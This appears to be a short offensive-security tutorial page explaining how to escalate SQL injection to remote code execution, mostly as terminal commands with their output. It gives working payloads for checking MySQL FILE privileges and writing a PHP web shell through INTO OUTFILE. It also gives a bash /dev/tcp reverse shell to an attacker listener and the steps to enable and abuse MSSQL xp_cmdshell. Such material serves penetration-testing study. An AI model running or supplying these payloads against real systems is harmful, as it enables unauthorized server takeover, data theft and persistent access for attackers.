Skip to content
HackIndex logo

HackIndex

SQLi to Remote Code Execution

2 min read Jul 10, 2026

SQL injection can escalate to OS command execution when the database user has FILE privilege or sysadmin rights. MySQL INTO OUTFILE writes a web shell to the web root. MSSQL xp_cmdshell executes OS commands directly from SQL. Both require specific privilege conditions confirmed in vulnerability discovery.

MySQL — Check FILE Privilege

FILE privilege is required for INTO OUTFILE. Confirm the current user has it:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,File_priv,NULL FROM mysql.user WHERE user=user()--" 
Y
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,@secure_file_priv,NULL--"

File_priv Y and an empty secure_file_priv confirm unrestricted file write. Find the web root path before writing:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,@datadir,NULL--" 
/var/lib/mysql/

MySQL — Write a Web Shell

Write a PHP web shell to the web root using INTO OUTFILE:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,'<?php system($_GET[\"cmd\"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php'--"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php?cmd=id" 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Command execution confirmed. Get a reverse shell:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

MSSQL — Enable and Abuse xp_cmdshell

When SQLi hits MSSQL with sysadmin rights, enable xp_cmdshell through stacked queries:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE--"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;EXEC xp_cmdshell 'whoami'--" 
nt authority\system

References